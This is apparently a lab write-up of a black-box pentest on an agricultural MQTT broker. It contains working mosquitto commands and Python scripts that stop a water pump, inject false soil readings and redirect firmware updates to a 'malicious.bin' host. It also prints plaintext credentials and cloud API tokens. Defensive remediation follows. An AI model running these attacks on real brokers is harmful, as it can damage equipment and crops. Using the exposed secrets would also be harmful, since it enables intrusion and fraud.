Post

Black-Box MQTT Pentesting: Attacking a Real-World Agricultural IoT Deployment

Black-Box MQTT Pentesting: Attacking a Real-World Agricultural IoT Deployment

Introduction

MQTT is everywhere in IoT. Agriculture, manufacturing, smart cities, energy monitoring — all of them running thousands of sensors and actuators over the same lightweight pub/sub protocol. And because MQTT was built for efficiency on constrained networks, not for adversarial environments, most real-world deployments carry serious security debt.

This post documents a black-box security assessment of a live MQTT deployment used in smart farming. The target is a broker running on port 1883 with an unknown number of connected devices. We have no source code, no documentation, no credentials — just a host and a port.

Everything that follows is derived purely from what the broker exposes over the wire.


Scope and Setup

Target: MQTT broker at 127.0.0.1:1883
Approach: Black-box — no prior knowledge of device types, topics, or credentials
Tools:

  • mosquitto_sub / mosquitto_pub
  • MQTTX CLI
  • Wireshark (MQTT dissector)

Phase 1 — Broker Fingerprinting

Before touching the topic tree, we confirm basic broker behavior. We attempt an anonymous connection — no username, no password:

1
mosquitto_sub -h 127.0.0.1 -p 1883 -t '$SYS/#' -v

The broker responds immediately with a stream of $SYS statistics:

1
2
3
$SYS/broker/version mosquitto version 2.1.2
$SYS/broker/uptime 11710 seconds
$SYS/broker/retained messages/count 70

Broker Fingerprinting

Two things are immediately clear:

  • Anonymous access is enabled. The broker accepted our connection without any credentials.
  • 70 retained messages exist. Retained messages are stored by the broker and delivered to any subscriber instantly on connection. This is our most valuable initial lead.

Phase 2 — Full Topic Enumeration

With anonymous access confirmed, we subscribe to the wildcard topic # to capture everything the broker is routing:

1
mosquitto_sub -h 127.0.0.1 -p 1883 -t '#' -v

Within 30 seconds, the terminal floods with messages across a wide topic tree:

1
2
3
agriculture/soil/zone-A/moisture {"zone": "zone-A", "crop": "Sugarcane", "depth_cm": 60, "moisture_pct": 231.89, "ec_ds_m": 0.629, "timestamp": "2026-04-05T09:02:11"}
agriculture/soil/zone-B/moisture {"zone": "zone-B", "crop": "Cotton", "depth_cm": 60, "moisture_pct": 271.27, "ec_ds_m": 0.966, "timestamp": "2026-04-05T09:02:11"}
agriculture/soil/zone-C/moisture {"zone": "zone-C", "crop": "Groundnut", "depth_cm": 60, "moisture_pct": 208.64, "ec_ds_m": 1.251, "timestamp": "2026-04-05T09:02:11"}

Full Topic Enumeration

From this alone we can map the entire farm infrastructure — water pump, soil sensors across three crop zones, a weather station, an irrigation controller, pest traps, security cameras, an SMS alert gateway, and an OTA firmware service. This is a full infrastructure blueprint delivered for free.

We now pull retained messages specifically, since these persist regardless of whether devices are online:

1
mosquitto_sub -h 127.0.0.1 -p 1883 -t '#' -v --retained-only

This is where things get serious.


Finding 1 — Full Credential Database in Retained Topic

Topic: admin/credentials
Severity: Critical

Subscribing to admin/credentials delivers the following payload immediately, without any authentication:

1
mosquitto_sub -h 127.0.0.1 -p 1883 -t 'admin/credentials' -C 1 | python -m json.tool
1
2
3
4
5
6
7
8
{
  "admin":    {"user": "admin",      "pass": "admin123",   "role": "superadmin"},
  "operator": {"user": "operator",   "pass": "Op#2024!",   "role": "operator"},
  "viewer":   {"user": "viewer",     "pass": "view@only",  "role": "readonly"},
  "pump_svc": {"user": "pumpuser",   "pass": "Pump@2024",  "role": "device"},
  "irr_svc":  {"user": "irrigation", "pass": "Drip#9821",  "role": "device"},
  "cam_svc":  {"user": "camuser",    "pass": "Cam$ecure1", "role": "device"}
}

Sensitive Data

The broker is storing the entire user database as a retained MQTT message in plaintext. Any client that connects — authenticated or not — receives this immediately on subscription. No brute force, no dictionary attack. A single command gives us every credential on the system.

Impact: Complete credential database exfiltrated. The superadmin account gives full control over the farm management system. Device credentials can be used to impersonate sensors and actuators.


Finding 2 — Cloud API Keys Exposed via Retained Message

Topic: alerts/sms/config
Severity: High

The SMS alert gateway publishes its full cloud configuration as a retained message:

1
mosquitto_sub -h 127.0.0.1 -p 1883 -t 'alerts/sms/config' -C 1 | python -m json.tool
1
2
3
4
5
6
7
8
{
  "gateway_id":  "sms-gateway-01",
  "provider":    "Twilio",
  "account_sid": "AC8f3d91c2b4e7a056d12345678",
  "auth_token":  "7e3f91c2d4b8a056e123456789abcdef",
  "from_number": "+14155551234",
  "recipients":  ["+919876543210", "+918765432109"]
}

Sensitive Data via Retained Message

A live Twilio account_sid and auth_token are sitting in a retained MQTT topic, readable by any anonymous client.

Impact: With these credentials an attacker can send SMS messages billed to the farm’s account, modify or delete the farm’s Twilio configuration, and — most critically — flood the farm operators’ phones with fake alerts to cause alert fatigue, making it easy to mask a real attack taking place simultaneously.


Finding 3 — Unauthenticated Water Pump Control

Topic: agriculture/pump/command
Severity: Critical

During topic enumeration we observed agriculture/pump/command receiving and responding to control messages. We test whether the broker or device validates the publisher’s identity before acting:

Python code to turn the pump off:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Turn the pump OFF
import paho.mqtt.client as mqtt
import time, json
from datetime import datetime

c = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2)
c.connect("127.0.0.1", 1883)
c.loop_start()
time.sleep(0.5)

# Inject fake critically dry reading
c.publish(
    "agriculture/pump/command",
    json.dumps({
        "cmd": "OFF",
    }),
    retain=True   # critical — overwrites stored value on broker
)

time.sleep(2)
print("Injected. Now check the broker retained value.")
c.disconnect()

We monitor the pump status topic to observe the effect:

1
2
mosquitto_sub -h 127.0.0.1 -p 1883 -t 'agriculture/pump/status' -C 1 \
  | python3 -m json.tool
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
    "farm_id": "FARM-KA-2847",
    "device_id": "pump-ctrl-KA2847",
    "pump_state": "STOPPED",
    "flow_rate_lpm": 0,
    "total_litres": 882900.2,
    "pressure_bar": 3.1,
    "motor_temp_c": 29.5,
    "voltage_v": 231.48,
    "current_a": 0,
    "power_factor": 0.895,
    "runtime_hrs": 122.33,
    "dry_run_trips": 3,
    "firmware": "v3.1.4",
    "timestamp": "2026-04-05T11:11:17"
}

The pump stopped. No authentication was required — the command was accepted from our anonymous client immediately.

Impact: Critical. An unauthenticated attacker can directly manipulate physical hardware. Forcing the pump ON with no water source causes dry-run damage to the motor. Cutting the pump during active irrigation can damage crops. Sustained pump cycling can cause premature mechanical failure — all from a single TCP connection to port 1883.


Finding 4 — Sensor Data Injection via Retained Message Overwrite

Topic: agriculture/soil/+/moisture

Soil moisture readings are published periodically to retained topics. Because the broker has no publisher authorization, any client can overwrite these readings. We test by injecting a critically low moisture reading into zone-B (cotton crop):

1
mosquitto_pub -h 127.0.0.1 -p 1883 -t 'agriculture/soil/zone-B/moisture' -m '{"zone":"zone-B","crop":"Cotton","depth_cm":15,"moisture_pct":4.2,"timestamp":"2026-04-05T14:30:00"}' --retain

Sensor Data Injected

Data Reflected

The injected value is now stored on the broker. Any subscriber — the irrigation controller, the monitoring dashboard, automated alerts — receives our fake reading as ground truth until a legitimate sensor publishes over it.

The inverse attack is equally damaging: inject falsely high moisture to suppress irrigation while the crop is actually drying out.

Impact: Automated irrigation systems trust the broker’s retained state as the most recent sensor truth. A sustained injection attack causes the farm to over-water, under-water, or miss critical drought windows entirely — without triggering any anomaly detection, since from the system’s perspective the sensor is still publishing.


Finding 5 — Unsigned OTA Firmware Over Plaintext HTTP

Topic: devices/ota/pump-ctrl/latest
Severity: High

The OTA service publishes firmware metadata as retained messages for each device type:

1
mosquitto_sub -h 127.0.0.1 -p 1883 -t 'devices/ota/pump-ctrl/latest'  -C 1 | python -m json.tool
1
2
3
4
5
6
7
8
9
10
devices/ota/pump-ctrl/latest
{
    "device_type": "pump-ctrl",
    "version": "v3.1.4",
    "md5": "a3f5c8e1d2b4091",
    "download_url": "http://192.168.1.1:8080/fw/pump-ctrl/v3.1.4.bin",
    "changelog": "Bug fixes and stability improvements",
    "signed": false,
    "timestamp": "2026-04-05T11:08:55"
}

Read FW details

Two critical observations from the payload itself:

  • "signed": false — the firmware binary carries no cryptographic signature. Devices cannot verify whether what they receive is genuine.
  • http:// — the download uses plaintext HTTP with no TLS.

Because we can publish retained messages on any topic, we can overwrite this metadata to point devices to a malicious firmware binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import paho.mqtt.client as mqtt
import time, json
from datetime import datetime

c = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2)
c.connect("127.0.0.1", 1883)
c.loop_start()
time.sleep(0.5)

# Inject fake critically dry reading
c.publish(
    "devices/ota/pump-ctrl/latest",
    json.dumps({
       "device_type":  "pump-ctrl",
    "version":      "v3.1.5",
    "md5":          "aabbccdd11223344",
    "download_url": "http://192.168.99.100:8080/malicious.bin",
    "signed":       "false"
    }),
    retain=True   # critical — overwrites stored value on broker
)

time.sleep(2)
print("Injected. Now check the broker retained value.")
c.disconnect()

Injected FW

Any pump controller that polls for firmware updates now receives our poisoned metadata. Since firmware is unsigned, the device has no mechanism to reject it.

Impact: Persistent code execution on physical embedded hardware. An attacker who achieves firmware-level access controls the device at a deeper level than any MQTT command — and the compromise survives broker reboots, credential rotations, and ACL changes.


Summary of Findings

#FindingSeverity
1Full credential database stored as anonymous-readable retained messageCritical
2Cloud API keys (Twilio) exposed in retained topicHigh
3Unauthenticated water pump on/off controlCritical
4Sensor data injection via retained message overwriteHigh
5Unsigned OTA firmware metadata poisonable over MQTTHigh

All five findings are reachable from a single anonymous TCP connection to port 1883. No credentials, no exploits, no bruteforce.


Root Causes

These five findings trace back to three fundamental misconfigurations:

No broker authentication. The broker accepts anonymous connections. This is the entry point for every attack in this assessment. Without authentication, topic-level controls are the only possible defense — and they aren’t in place either.

Secrets published as MQTT payloads. MQTT messages are not a secrets store. Any data published to a broker with anonymous access is readable by the entire internet if the broker is reachable. Credentials, API tokens, and cloud keys must never appear in MQTT payloads.

No publisher verification on control topics. The pump command topic accepts input from any connected client. There is no mechanism to distinguish a legitimate command from the SCADA system versus a command from an attacker. MQTT itself does not solve this — the application layer must.


Remediation

1. Disable anonymous access immediately

1
2
3
# mosquitto.conf
allow_anonymous false
password_file /etc/mosquitto/passwd

2. Enable TLS — disable port 1883, use 8883

1
2
3
4
listener 8883
cafile   /etc/mosquitto/certs/ca.crt
certfile /etc/mosquitto/certs/server.crt
keyfile  /etc/mosquitto/certs/server.key

3. Implement topic-level ACLs

Each device credential should only be able to publish and subscribe to its own topic subtree. No device should have write access to another device’s topics — and certainly not to admin/#.

4. Clear all retained messages containing secrets

Publishing an empty payload with the retain flag removes a retained message:

1
2
mosquitto_pub -h 127.0.0.1 -p 1883 -t 'admin/credentials' -n --retain
mosquitto_pub -h 127.0.0.1 -p 1883 -t 'alerts/sms/config' -n --retain

Move secrets to a dedicated vault (HashiCorp Vault, AWS Secrets Manager). Inject credentials into devices at provisioning time — not over MQTT.

5. Sign OTA firmware

Every firmware binary must be signed with a private key held by the manufacturer. Devices must verify the signature against an embedded public key before applying any update. ECDSA is the standard for embedded systems. The signed: false field in the current OTA metadata is a deployment telling on itself — this should be a hard rejection condition on the device side, not a flag.


Conclusion

The attack path here required no exploits and no specialized tooling — just mosquitto_sub, a wildcard subscription, and the willingness to read what the broker was already broadcasting. The most damaging vulnerabilities (credential exposure, pump control, firmware poisoning) are all reachable in the first five minutes of access.

MQTT brokers in production IoT deployments should be treated as critical infrastructure. A misconfigured broker is not just a data leak — it’s a physical control plane that an attacker can operate from anywhere with network access.

Authentication first. TLS always. Secrets never in payloads.

This post is licensed under CC BY 4.0 by the author.